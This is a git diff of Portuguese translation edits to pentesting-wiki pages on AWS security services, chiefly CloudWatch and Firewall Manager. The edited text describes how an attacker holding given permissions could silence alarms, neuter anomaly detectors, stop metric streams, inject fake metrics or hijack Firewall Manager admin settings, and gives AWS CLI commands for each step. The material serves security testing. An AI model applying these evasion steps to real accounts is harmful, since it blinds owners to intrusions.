-- Ao modificar o Limite para ser superior a 99%, definir o Período para 10 segundos, os Períodos de Avaliação para 8640 (já que 8640 períodos de 10 segundos equivalem a 1 dia) e os Pontos de Dados para Alarme para 8640 também, seria necessário que a utilização da CPU estivesse acima de 99% a cada 10 segundos durante todo o período de 24 horas para acionar um alarme.
+- Ao modificar o Limite para ser mais de 99%, definir o Período para 10 segundos, os Períodos de Avaliação para 8640 (já que 8640 períodos de 10 segundos equivalem a 1 dia), e os Pontos de Dados para Alarme para 8640 também, seria necessário que a utilização da CPU estivesse acima de 99% a cada 10 segundos durante todo o período de 24 horas para acionar um alarme.
 
 {{#tabs }}
 {{#tab name="Original Metric Alarm" }}
@@ -254,7 +254,7 @@ O seguinte exemplo mostra como tornar um alarme de métrica ineficaz:
 ```
 {{#endtab }}
 
-{{#tab name="Alarme de Métrica Modificado" }}
+{{#tab name="Alarme de Métrica Modificada" }}
 ```json
 {
 "Namespace": "AWS/EC2",
@@ -283,11 +283,11 @@ O seguinte exemplo mostra como tornar um alarme de métrica ineficaz:
 
 ### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions`, `cloudwatch:SetAlarmState`**
 
-Ao deletar ações de alarme, o atacante poderia impedir que alertas críticos e respostas automatizadas fossem acionados quando um estado de alarme é alcançado, como notificar administradores ou acionar atividades de auto-escalonamento. Habilitar ou reabilitar ações de alarme de forma inadequada também poderia levar a comportamentos inesperados, seja reativando ações previamente desativadas ou modificando quais ações são acionadas, potencialmente causando confusão e desvio na resposta a incidentes.
+Ao deletar ações de alarme, o atacante poderia impedir alertas críticos e respostas automatizadas de serem acionadas quando um estado de alarme é alcançado, como notificar administradores ou acionar atividades de auto-escalonamento. Habilitar ou re-habilitar ações de alarme de forma inadequada também poderia levar a comportamentos inesperados, seja reativando ações previamente desativadas ou modificando quais ações são acionadas, potencialmente causando confusão e desvio na resposta a incidentes.
 
-Além disso, um atacante com a permissão poderia manipular estados de alarme, sendo capaz de criar falsos alarmes para distrair e confundir administradores, ou silenciar alarmes genuínos para ocultar atividades maliciosas em andamento ou falhas críticas do sistema.
+Além disso, um atacante com a permissão poderia manipular estados de alarme, sendo capaz de criar falsos alarmes para distrair e confundir administradores, ou silenciar alarmes genuínos para esconder atividades maliciosas em andamento ou falhas críticas do sistema.
 
-- Se você usar **`SetAlarmState`** em um alarme composto, o alarme composto não garante retornar ao seu estado real. Ele retorna ao seu estado real apenas uma vez que qualquer um de seus alarmes filhos muda de estado. Ele também é reavaliado se você atualizar sua configuração.
+- Se você usar **`SetAlarmState`** em um alarme composto, o alarme composto não é garantido para retornar ao seu estado real. Ele retorna ao seu estado real apenas uma vez que qualquer um de seus alarmes filhos muda de estado. Ele também é reavaliado se você atualizar sua configuração.
 ```bash
 aws cloudwatch disable-alarm-actions --alarm-names <value>
 aws cloudwatch enable-alarm-actions --alarm-names <value>
@@ -297,12 +297,12 @@ aws cloudwatch set-alarm-state --alarm-name <value> --state-value <OK | ALARM |
 
 ### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`**
 
-Um atacante seria capaz de comprometer a capacidade de detectar e responder a padrões ou anomalias incomuns em dados de métricas. Ao excluir detectores de anomalias existentes, um atacante poderia desativar mecanismos críticos de alerta; e ao criar ou modificar esses detectores, poderia desconfigurá-los ou criar falsos positivos para distrair ou sobrecarregar a monitoração.
+Um atacante poderia comprometer a capacidade de detectar e responder a padrões ou anomalias incomuns em dados métricos. Ao excluir detectores de anomalias existentes, um atacante poderia desativar mecanismos críticos de alerta; e ao criar ou modificar esses detectores, poderia desconfigurá-los ou criar falsos positivos para distrair ou sobrecarregar a monitoração.
 ```bash
 aws cloudwatch delete-anomaly-detector [--cli-input-json <value> | --namespace <value> --metric-name <value> --dimensions <value> --stat <value>]
 aws cloudwatch put-anomaly-detector [--cli-input-json <value> | --namespace <value> --metric-name <value> --dimensions <value> --stat <value> --configuration <value> --metric-characteristics <value>]
 ```
-O seguinte exemplo mostra como tornar um detector de anomalias de métricas ineficaz. Este detector de anomalias de métricas monitora a utilização média da CPU de uma instância EC2 específica, e apenas adicionando o parâmetro “ExcludedTimeRanges” com o intervalo de tempo desejado, seria suficiente para garantir que o detector de anomalias não analise ou alerte sobre dados relevantes durante esse período.
+O seguinte exemplo mostra como tornar um detector de anomalias de métricas ineficaz. Este detector de anomalias de métricas monitora a utilização média da CPU de uma instância EC2 específica e, apenas adicionando o parâmetro “ExcludedTimeRanges” com o intervalo de tempo desejado, seria suficiente para garantir que o detector de anomalias não analise ou alerte sobre quaisquer dados relevantes durante esse período.
 
 {{#tabs }}
 {{#tab name="Original Metric Anomaly Detector" }}
@@ -323,7 +323,7 @@ O seguinte exemplo mostra como tornar um detector de anomalias de métricas inef
 ```
 {{#endtab }}
 
-{{#tab name="Detector de Anomalias de Métricas Modificado" }}
+{{#tab name="Detector de Anomalias de Métricas Modificadas" }}
 ```json
 {
 "SingleMetricAnomalyDetector": {
@@ -379,7 +379,7 @@ Ao desabilitar regras de insight críticas, um atacante poderia efetivamente ceg
 aws cloudwatch disable-insight-rules --rule-names <value>
 aws cloudwatch enable-insight-rules --rule-names <value>
 ```
-**Impacto Potencial**: Confusão entre a equipe de operações, levando a respostas atrasadas a problemas reais e ações desnecessárias com base em alertas falsos.
+**Impacto Potencial**: Confusão entre a equipe de operações, levando a respostas atrasadas a problemas reais e ações desnecessárias baseadas em alertas falsos.
 
 ### **`cloudwatch:DeleteMetricStream` , `cloudwatch:PutMetricStream` , `cloudwatch:PutMetricData`**
 
@@ -403,7 +403,7 @@ aws cloudwatch put-metric-data --namespace "AWS/EC2" --metric-name "CPUUtilizati
 
 ### **`cloudwatch:StopMetricStreams`, `cloudwatch:StartMetricStreams`**
 
-Um atacante controlaria o fluxo dos dados de métricas afetados (cada fluxo de dados se não houver restrição de recursos). Com a permissão **`cloudwatch:StopMetricStreams`**, os atacantes poderiam ocultar suas atividades maliciosas ao parar fluxos de métricas críticos.
+Um atacante controlaria o fluxo dos fluxos de dados de métricas afetados (cada fluxo de dados se não houver restrição de recursos). Com a permissão **`cloudwatch:StopMetricStreams`**, os atacantes poderiam ocultar suas atividades maliciosas parando fluxos de métricas críticos.
 ```bash
 aws cloudwatch stop-metric-streams --names <value>
 aws cloudwatch start-metric-streams --names <value>
@@ -412,7 +412,7 @@ aws cloudwatch start-metric-streams --names <value>
 
 ### **`cloudwatch:TagResource`, `cloudwatch:UntagResource`**
 
-Um atacante poderia adicionar, modificar ou remover tags de recursos do CloudWatch (atualmente apenas alarmes e regras do Contributor Insights). Isso poderia interromper as políticas de controle de acesso da sua organização com base em tags.
+Um atacante poderia adicionar, modificar ou remover tags de recursos do CloudWatch (atualmente apenas alarmes e regras do Contributor Insights). Isso poderia interromper as políticas de controle de acesso da sua organização baseadas em tags.
 ```bash
 aws cloudwatch tag-resource --resource-arn <value> --tags <value>
 aws cloudwatch untag-resource --resource-arn <value> --tag-keys <value>
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md
index 810db2858..8441b762f 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md
@@ -4,15 +4,15 @@
 
 ## AWS Config
 
-AWS Config **captura mudanças de recursos**, então qualquer mudança em um recurso suportado pelo Config pode ser registrada, o que **registrará o que mudou junto com outros metadados úteis, todos mantidos dentro de um arquivo conhecido como item de configuração**, um CI. Este serviço é **específico da região**.
+AWS Config **captura mudanças de recursos**, então qualquer mudança em um recurso suportado pelo Config pode ser registrada, o que **registra o que mudou junto com outros metadados úteis, todos mantidos dentro de um arquivo conhecido como item de configuração**, um CI. Este serviço é **específico da região**.
 
-Um item de configuração ou **CI**, como é conhecido, é um componente chave do AWS Config. Ele é composto por um arquivo JSON que **contém as informações de configuração, informações de relacionamento e outros metadados como uma visão instantânea de um recurso suportado**. Todas as informações que o AWS Config pode registrar para um recurso são capturadas dentro do CI. Um CI é criado **toda vez que** um recurso suportado tem uma mudança feita em sua configuração de qualquer forma. Além de registrar os detalhes do recurso afetado, o AWS Config também registrará CIs para quaisquer recursos diretamente relacionados para garantir que a mudança não afetou esses recursos também.
+Um item de configuração ou **CI**, como é conhecido, é um componente chave do AWS Config. É composto por um arquivo JSON que **contém as informações de configuração, informações de relacionamento e outros metadados como uma visão instantânea de um recurso suportado**. Todas as informações que o AWS Config pode registrar para um recurso são capturadas dentro do CI. Um CI é criado **toda vez que** um recurso suportado tem uma mudança feita em sua configuração de qualquer forma. Além de registrar os detalhes do recurso afetado, o AWS Config também registrará CIs para quaisquer recursos diretamente relacionados para garantir que a mudança não afetou esses recursos também.
 
 - **Metadados**: Contém detalhes sobre o item de configuração em si. Um ID de versão e um ID de configuração, que identificam exclusivamente o CI. Outras informações podem incluir um MD5Hash que permite comparar outros CIs já registrados contra o mesmo recurso.
 - **Atributos**: Isso contém informações comuns de **atributo contra o recurso real**. Dentro desta seção, também temos um ID de recurso exclusivo e quaisquer tags de valor chave que estão associadas ao recurso. O tipo de recurso também é listado. Por exemplo, se este fosse um CI para uma instância EC2, os tipos de recursos listados poderiam ser a interface de rede ou o endereço IP elástico para essa instância EC2.
-- **Relacionamentos**: Isso contém informações sobre qualquer **relação conectada que o recurso possa ter**. Portanto, dentro desta seção, mostraria uma descrição clara de qualquer relacionamento com outros recursos que este recurso tinha. Por exemplo, se o CI fosse para uma instância EC2, a seção de relacionamento poderia mostrar a conexão com uma VPC junto com a sub-rede em que a instância EC2 reside.
+- **Relacionamentos**: Isso contém informações sobre qualquer **relação conectada que o recurso possa ter**. Assim, dentro desta seção, mostraria uma descrição clara de qualquer relação com outros recursos que este recurso teve. Por exemplo, se o CI fosse para uma instância EC2, a seção de relacionamento poderia mostrar a conexão com uma VPC junto com a sub-rede em que a instância EC2 reside.
 - **Configuração atual:** Isso exibirá as mesmas informações que seriam geradas se você realizasse uma chamada de API de descrição ou listagem feita pelo AWS CLI. O AWS Config usa as mesmas chamadas de API para obter as mesmas informações.
-- **Eventos relacionados**: Isso se relaciona ao AWS CloudTrail. Isso exibirá o **ID do evento do AWS CloudTrail que está relacionado à mudança que acionou a criação deste CI**. Um novo CI é feito para cada mudança feita contra um recurso. Como resultado, diferentes IDs de eventos do CloudTrail serão criados.
+- **Eventos relacionados**: Isso se relaciona ao AWS CloudTrail. Isso exibirá o **ID do evento do AWS CloudTrail que está relacionado à mudança que acionou a criação deste CI**. Um novo CI é criado para cada mudança feita contra um recurso. Como resultado, diferentes IDs de eventos do CloudTrail serão criados.
 
 **Histórico de Configuração**: É possível obter o histórico de configuração de recursos graças aos itens de configuração. Um histórico de configuração é entregue a cada 6 horas e contém todos os CIs para um tipo de recurso específico.
 
@@ -26,15 +26,15 @@ Um item de configuração ou **CI**, como é conhecido, é um componente chave d
 
 - Ao fazer mudanças, por exemplo, em grupos de segurança ou listas de controle de acesso de buckets —> dispara como um Evento capturado pelo AWS Config
 - Armazena tudo em um bucket S3
-- Dependendo da configuração, assim que algo muda, isso pode acionar uma função lambda OU agendar uma função lambda para olhar periodicamente pelas configurações do AWS Config
+- Dependendo da configuração, assim que algo muda, pode acionar uma função lambda OU agendar uma função lambda para olhar periodicamente pelas configurações do AWS Config
 - Lambda retorna para o Config
 - Se uma regra foi quebrada, o Config dispara um SNS
 
 ![](<../../../../images/image (126).png>)
 
-### Regras de Config
+### Regras de Configuração
 
-As regras de Config são uma ótima maneira de ajudar você a **impor verificações de conformidade específicas** **e controles em seus recursos**, e permitem que você adote uma especificação de implantação ideal para cada um de seus tipos de recursos. Cada regra **é essencialmente uma função lambda** que, quando chamada, avalia o recurso e realiza alguma lógica simples para determinar o resultado de conformidade com a regra. **Cada vez que uma mudança é feita** em um de seus recursos suportados, **o AWS Config verificará a conformidade contra quaisquer regras de configuração que você tenha em vigor**.\
+As regras de configuração são uma ótima maneira de ajudar você a **impor verificações de conformidade específicas** **e controles em seus recursos**, e permitem que você adote uma especificação de implantação ideal para cada um de seus tipos de recursos. Cada regra **é essencialmente uma função lambda** que, quando chamada, avalia o recurso e realiza alguma lógica simples para determinar o resultado de conformidade com a regra. **Cada vez que uma mudança é feita** em um de seus recursos suportados, **o AWS Config verificará a conformidade em relação a quaisquer regras de configuração que você tenha em vigor**.\
 A AWS tem um número de **regras predefinidas** que se enquadram na categoria de segurança e estão prontas para uso. Por exemplo, Rds-storage-encrypted. Isso verifica se a criptografia de armazenamento está ativada por suas instâncias de banco de dados RDS. Encrypted-volumes. Isso verifica se algum volume EBS que tem um estado anexado está criptografado.
 
 - **Regras gerenciadas pela AWS**: Conjunto de regras predefinidas que cobrem muitas das melhores práticas, então sempre vale a pena navegar por essas regras primeiro antes de configurar as suas, pois há uma chance de que a regra já exista.
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
index acb447ac8..0e93b362f 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
@@ -1,4 +1,4 @@
-# AWS - Control Tower Enum
+# AWS - Enumeração do Control Tower
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
@@ -17,7 +17,7 @@ Além disso, o AWS Control Tower fornece guardrails, que são um conjunto de pol
 
 No geral, o AWS Control Tower simplifica o processo de configuração e gerenciamento de um ambiente multi-conta seguro e em conformidade na AWS, facilitando para as organizações se concentrarem em seus objetivos de negócios principais.
 
-### Enumeration
+### Enumeração
 
 Para enumerar os controles do controltower, você primeiro precisa **ter enumerado a org**:
 
@@ -29,7 +29,7 @@ Para enumerar os controles do controltower, você primeiro precisa **ter enumera
 aws controltower list-enabled-controls --target-identifier arn:aws:organizations::<acc_id>:ou/<ou-id>
 ```
 > [!WARNING]
-> O Control Tower também pode usar **Account factory** para executar **CloudFormation templates** em **contas e executar serviços** (privesc, pós-exploração...) nessas contas
+> O Control Tower também pode usar **Account factory** para executar **CloudFormation templates** em **contas e executar serviços** (privesc, post-exploitation...) nessas contas
 
 ### Pós Exploração & Persistência
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md
index 304d03530..594d195c8 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md
@@ -1,4 +1,4 @@
-# AWS - Cost Explorer Enum
+# AWS - Enumeração do Cost Explorer
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
@@ -10,6 +10,6 @@ Além disso, você pode configurar uma detecção de anomalias para que a AWS o
 ### Orçamentos
 
 Os orçamentos ajudam a **gerenciar custos e uso**. Você pode ser **alertado quando um limite for alcançado**.\
-Além disso, eles podem ser usados para monitoramento não relacionado a custos, como o uso de um serviço (quantos GB estão sendo usados em um bucket S3 específico?).
+Além disso, eles podem ser usados para monitoramento não relacionado a custos, como o uso de um serviço (quantos GB são usados em um bucket S3 específico?).
 
 {{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md
index f19ff92ea..848ac55d9 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md
@@ -1,4 +1,4 @@
-# AWS - Firewall Manager Enum
+# AWS - Enumeração do Firewall Manager
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
@@ -19,7 +19,7 @@ O AWS Firewall Manager fornece **listas de aplicativos e protocolos gerenciados*
 
 ### Pré-requisitos
 
-Os seguintes passos de pré-requisito devem ser concluídos antes de prosseguir para configurar o Firewall Manager para começar a proteger efetivamente os recursos da sua organização. Esses passos fornecem a configuração básica necessária para que o Firewall Manager aplique políticas de segurança e garanta conformidade em seu ambiente AWS:
+Os seguintes passos pré-requisitos devem ser concluídos antes de prosseguir para configurar o Firewall Manager para começar a proteger efetivamente os recursos da sua organização. Esses passos fornecem a configuração básica necessária para que o Firewall Manager aplique políticas de segurança e garanta conformidade em seu ambiente AWS:
 
 1. **Junte-se e configure o AWS Organizations:** Certifique-se de que sua conta AWS faz parte da organização do AWS Organizations onde as políticas do AWS Firewall Manager estão planejadas para serem implantadas. Isso permite a gestão centralizada de recursos e políticas em várias contas AWS dentro da organização.
 2. **Crie uma Conta de Administrador Padrão do AWS Firewall Manager:** Estabeleça uma conta de administrador padrão especificamente para gerenciar as políticas de segurança do Firewall Manager. Esta conta será responsável por configurar e aplicar políticas de segurança em toda a organização. Apenas a conta de gerenciamento da organização pode criar contas de administrador padrão do Firewall Manager.
@@ -28,19 +28,19 @@ Os seguintes passos de pré-requisito devem ser concluídos antes de prosseguir
 5. **Para Políticas de Network Firewall e DNS Firewall, ative o compartilhamento de recursos:** Ative o compartilhamento de recursos especificamente para políticas de Network Firewall e DNS Firewall. Isso permite que o Firewall Manager aplique proteções de firewall aos VPCs e à resolução DNS da sua organização, melhorando a segurança da rede.
 6. **Para usar o AWS Firewall Manager em Regiões que estão desativadas por padrão:** Se você pretende usar o Firewall Manager em regiões da AWS que estão desativadas por padrão, certifique-se de tomar as medidas necessárias para habilitar sua funcionalidade nessas regiões. Isso garante a aplicação consistente de segurança em todas as regiões onde sua organização opera.
 
-Para mais informações, consulte: [Introdução ao AWS Firewall Manager AWS WAF policies](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html).
+Para mais informações, consulte: [Getting started with AWS Firewall Manager AWS WAF policies](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html).
 
 ### Tipos de políticas de proteção
 
 O AWS Firewall Manager gerencia vários tipos de políticas para aplicar controles de segurança em diferentes aspectos da infraestrutura da sua organização:
 
 1. **Política do AWS WAF:** Este tipo de política suporta tanto o AWS WAF quanto o AWS WAF Classic. Você pode definir quais recursos são protegidos pela política. Para políticas do AWS WAF, você pode especificar conjuntos de grupos de regras para serem executados primeiro e por último no ACL da web. Além disso, os proprietários da conta podem adicionar regras e grupos de regras para serem executados entre esses conjuntos.
-2. **Política do Shield Advanced:** Esta política aplica proteções do Shield Advanced em toda a sua organização para tipos de recursos especificados. Ela ajuda a proteger contra ataques DDoS e outras ameaças.
+2. **Política do Shield Advanced:** Esta política aplica proteções do Shield Advanced em toda a sua organização para tipos de recursos especificados. Ajuda a proteger contra ataques DDoS e outras ameaças.
 3. **Política de Grupo de Segurança do Amazon VPC:** Com esta política, você pode gerenciar grupos de segurança usados em toda a sua organização, aplicando um conjunto básico de regras em seu ambiente AWS para controlar o acesso à rede.
 4. **Política de Lista de Controle de Acesso à Rede (ACL) do Amazon VPC:** Este tipo de política dá a você controle sobre as ACLs de rede usadas em sua organização, permitindo que você aplique um conjunto básico de ACLs de rede em seu ambiente AWS.
 5. **Política de Network Firewall:** Esta política aplica proteção do AWS Network Firewall aos VPCs da sua organização, melhorando a segurança da rede filtrando o tráfego com base em regras predefinidas.
 6. **Política do Amazon Route 53 Resolver DNS Firewall:** Esta política aplica proteções do DNS Firewall aos VPCs da sua organização, ajudando a bloquear tentativas de resolução de domínio maliciosas e aplicar políticas de segurança para o tráfego DNS.
-7. **Política de Firewall de Terceiros:** Este tipo de política aplica proteções de firewalls de terceiros, que estão disponíveis por assinatura através do console do AWS Marketplace. Ela permite que você integre medidas de segurança adicionais de fornecedores confiáveis em seu ambiente AWS.
+7. **Política de Firewall de Terceiros:** Este tipo de política aplica proteções de firewalls de terceiros, que estão disponíveis por assinatura através do console do AWS Marketplace. Permite que você integre medidas de segurança adicionais de fornecedores confiáveis em seu ambiente AWS.
 1. **Política do Palo Alto Networks Cloud NGFW:** Esta política aplica proteções e pilhas de regras do Palo Alto Networks Cloud Next Generation Firewall (NGFW) aos VPCs da sua organização, fornecendo prevenção avançada contra ameaças e controles de segurança em nível de aplicativo.
 2. **Política do Fortigate Cloud Native Firewall (CNF) como Serviço:** Esta política aplica proteções do Fortigate Cloud Native Firewall (CNF) como Serviço, oferecendo prevenção de ameaças líder do setor, firewall de aplicativo web (WAF) e proteção de API adaptadas para infraestruturas em nuvem.
 
@@ -61,7 +61,7 @@ Existem dois tipos distintos de contas de administrador, cada uma servindo a pap
 - **Administrador Padrão:**
 - A conta de administrador padrão é criada pela conta de gerenciamento da organização do AWS Organizations durante o processo de integração ao Firewall Manager.
 - Esta conta tem a capacidade de gerenciar firewalls de terceiros e possui escopo administrativo total.
-- Ela serve como a conta de administrador principal para o Firewall Manager, responsável por configurar e aplicar políticas de segurança em toda a organização.
+- Ela serve como a conta de administrador principal do Firewall Manager, responsável por configurar e aplicar políticas de segurança em toda a organização.
 - Embora o administrador padrão tenha acesso total a todos os tipos de recursos e funcionalidades administrativas, ele opera no mesmo nível de par que outros administradores se múltiplos administradores forem utilizados dentro da organização.
 - **Administradores do Firewall Manager:**
 - Esses administradores podem gerenciar recursos dentro do escopo designado pela conta de gerenciamento do AWS Organizations, conforme definido pela configuração do escopo administrativo.
@@ -73,7 +73,7 @@ Gerenciar essas contas de administrador envolve criá-las dentro do Firewall Man
 É importante destacar que **apenas uma conta dentro de uma organização pode servir como o administrador padrão do Firewall Manager**, aderindo ao princípio de "**primeiro a entrar, último a sair**". Para designar um novo administrador padrão, uma série de passos deve ser seguida:
 
 - Primeiro, cada conta de administrador do Firewall Administrator deve revogar sua própria conta.
-- Em seguida, o administrador padrão existente pode revogar sua própria conta, efetivamente desintegrando a organização do Firewall Manager. Este processo resulta na exclusão de todas as políticas do Firewall Manager criadas pela conta revogada.
+- Em seguida, o administrador padrão existente pode revogar sua própria conta, efetivamente desligando a organização do Firewall Manager. Este processo resulta na exclusão de todas as políticas do Firewall Manager criadas pela conta revogada.
 - Para concluir, a conta de gerenciamento do AWS Organizations deve designar o administrador padrão do Firewall Manager.
 
 ## Enumeração
@@ -161,14 +161,14 @@ aws fms get-third-party-firewall-association-status --third-party-firewall <PALO
 ## Get violations' details for a resource based on the specified AWS Firewall Manager policy and AWS account.
 aws fms get-violation-details --policy-id <value> --member-account <value> --resource-id <value> --resource-type <value>
 ```
-## Pós Exploração / Bypass Detection
+## Pós Exploração / Bypass de Detecção
 
 ### `organizations:DescribeOrganization` & (`fms:AssociateAdminAccount`, `fms:DisassociateAdminAccount`, `fms:PutAdminAccount`)
 
 Um atacante com a permissão **`fms:AssociateAdminAccount`** seria capaz de definir a conta de administrador padrão do Firewall Manager. Com a permissão **`fms:PutAdminAccount`**, um atacante poderia criar ou atualizar uma conta de administrador do Firewall Manager e, com a permissão **`fms:DisassociateAdminAccount`**, um potencial atacante poderia remover a associação da conta de administrador atual do Firewall Manager.
 
 - A desassociação do **administrador padrão do Firewall Manager segue a política de primeiro a entrar, último a sair**. Todos os administradores do Firewall Manager devem se desassociar antes que o administrador padrão do Firewall Manager possa desassociar a conta.
-- Para criar um administrador do Firewall Manager por meio do **PutAdminAccount**, a conta deve pertencer à organização que foi previamente integrada ao Firewall Manager usando **AssociateAdminAccount**.
+- Para criar um administrador do Firewall Manager por meio de **PutAdminAccount**, a conta deve pertencer à organização que foi previamente integrada ao Firewall Manager usando **AssociateAdminAccount**.
 - A criação de uma conta de administrador do Firewall Manager só pode ser feita pela conta de gerenciamento da organização.
 ```bash
 aws fms associate-admin-account --admin-account <value>
@@ -208,7 +208,7 @@ Um exemplo de política permissiva através de um grupo de segurança permissivo
 "TagList": []
 }
 ```
-**Impacto Potencial:** Desmantelamento de controles de segurança, evasão de políticas, violações de conformidade, interrupções operacionais e potenciais vazamentos de dados dentro do ambiente.
+**Impacto Potencial:** Desmantelamento de controles de segurança, evasão de políticas, violações de conformidade, interrupções operacionais e possíveis vazamentos de dados dentro do ambiente.
 
 ### `fms:BatchAssociateResource`, `fms:BatchDisassociateResource`, `fms:PutResourceSet`, `fms:DeleteResourceSet`
 
@@ -226,16 +226,16 @@ aws fms delete-resource-set --identifier <value>
 
 ### `fms:PutAppsList`, `fms:DeleteAppsList`
 
-Um atacante com as permissões **`fms:PutAppsList`** e **`fms:DeleteAppsList`** seria capaz de criar, modificar ou excluir listas de aplicativos do AWS Firewall Manager. Isso poderia ser crítico, pois aplicativos não autorizados poderiam ter acesso ao público em geral, ou o acesso a aplicativos autorizados poderia ser negado, causando um DoS.
+Um atacante com as permissões **`fms:PutAppsList`** e **`fms:DeleteAppsList`** seria capaz de criar, modificar ou excluir listas de aplicativos do AWS Firewall Manager. Isso pode ser crítico, pois aplicativos não autorizados poderiam ter acesso ao público em geral, ou o acesso a aplicativos autorizados poderia ser negado, causando um DoS.
 ```bash
 aws fms put-apps-list --apps-list <value> [--tag-list <value>]
 aws fms delete-apps-list --list-id <value>
 ```
-**Impacto Potencial:** Isso poderia resultar em configurações incorretas, evasão de políticas, violações de conformidade e interrupção dos controles de segurança dentro do ambiente.
+**Impacto Potencial:** Isso pode resultar em configurações incorretas, evasão de políticas, violações de conformidade e interrupção dos controles de segurança dentro do ambiente.
 
 ### `fms:PutProtocolsList`, `fms:DeleteProtocolsList`
 
-Um atacante com as permissões **`fms:PutProtocolsList`** e **`fms:DeleteProtocolsList`** seria capaz de criar, modificar ou excluir listas de protocolos do AWS Firewall Manager. Da mesma forma que com listas de aplicativos, isso poderia ser crítico, uma vez que protocolos não autorizados poderiam ser usados pelo público em geral, ou o uso de protocolos autorizados poderia ser negado, causando um DoS.
+Um atacante com as permissões **`fms:PutProtocolsList`** e **`fms:DeleteProtocolsList`** seria capaz de criar, modificar ou excluir listas de protocolos do AWS Firewall Manager. Da mesma forma que com listas de aplicativos, isso pode ser crítico, uma vez que protocolos não autorizados poderiam ser usados pelo público em geral, ou o uso de protocolos autorizados poderia ser negado, causando um DoS.
 ```bash
 aws fms put-protocols-list --apps-list <value> [--tag-list <value>]
 aws fms delete-protocols-list --list-id <value>
@@ -248,7 +248,7 @@ Um atacante com as permissões **`fms:PutNotificationChannel`** e **`fms:DeleteN
 
 Para usar **`fms:PutNotificationChannel`** fora do console, você precisa configurar a política de acesso do tópico SNS, permitindo que o **SnsRoleName** especificado publique logs do SNS. Se o **SnsRoleName** fornecido for um papel diferente do **`AWSServiceRoleForFMS`**, ele requer um relacionamento de confiança configurado para permitir que o principal de serviço do Firewall Manager **fms.amazonaws.com** assuma esse papel.
 
-Para informações sobre como configurar uma política de acesso do SNS:
+Para informações sobre como configurar uma política de acesso SNS:
 
 {{#ref}}
 ../aws-sns-enum.md
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
index 19b48ecb5..3bcb67cae 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
@@ -1,14 +1,14 @@
-# AWS - GuardDuty Enum
+# AWS - Enum do GuardDuty
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
 ## GuardDuty
 
-De acordo com a [**docs**](https://aws.amazon.com/guardduty/features/): GuardDuty combina **aprendizado de máquina, detecção de anomalias, monitoramento de rede e descoberta de arquivos maliciosos**, utilizando tanto fontes da AWS quanto de terceiros líderes da indústria para ajudar a proteger cargas de trabalho e dados na AWS. O GuardDuty é capaz de analisar dezenas de bilhões de eventos em várias fontes de dados da AWS, como logs de eventos do AWS CloudTrail, logs de fluxo do Amazon Virtual Private Cloud (VPC), logs de auditoria e de sistema do Amazon Elastic Kubernetes Service (EKS) e logs de consulta DNS.
+De acordo com a [**documentação**](https://aws.amazon.com/guardduty/features/): GuardDuty combina **aprendizado de máquina, detecção de anomalias, monitoramento de rede e descoberta de arquivos maliciosos**, utilizando tanto a AWS quanto fontes de terceiros líderes do setor para ajudar a proteger cargas de trabalho e dados na AWS. O GuardDuty é capaz de analisar dezenas de bilhões de eventos em várias fontes de dados da AWS, como logs de eventos do AWS CloudTrail, logs de fluxo do Amazon Virtual Private Cloud (VPC), logs de auditoria e de sistema do Amazon Elastic Kubernetes Service (EKS) e logs de consulta DNS.
 
-O Amazon GuardDuty **identifica atividades incomuns dentro de suas contas**, analisa a **relevância de segurança** da atividade e fornece o **contexto** em que foi invocada. Isso permite que um respondedor determine se deve gastar tempo em uma investigação mais aprofundada.
+O Amazon GuardDuty **identifica atividades incomuns em suas contas**, analisa a **relevância de segurança** da atividade e fornece o **contexto** em que foi invocada. Isso permite que um respondedor determine se deve gastar tempo em uma investigação mais aprofundada.
 
-Alertas **aparecem no console do GuardDuty (90 dias)** e nos Eventos do CloudWatch.
+Os alertas **aparecem no console do GuardDuty (90 dias)** e nos Eventos do CloudWatch.
 
 > [!WARNING]
 > Quando um usuário **desativa o GuardDuty**, ele para de monitorar seu ambiente AWS e não gerará novas descobertas, e as **descobertas existentes serão perdidas**.\
@@ -16,10 +16,10 @@ Alertas **aparecem no console do GuardDuty (90 dias)** e nos Eventos do CloudWat
 
 ### Exemplo de Descobertas
 
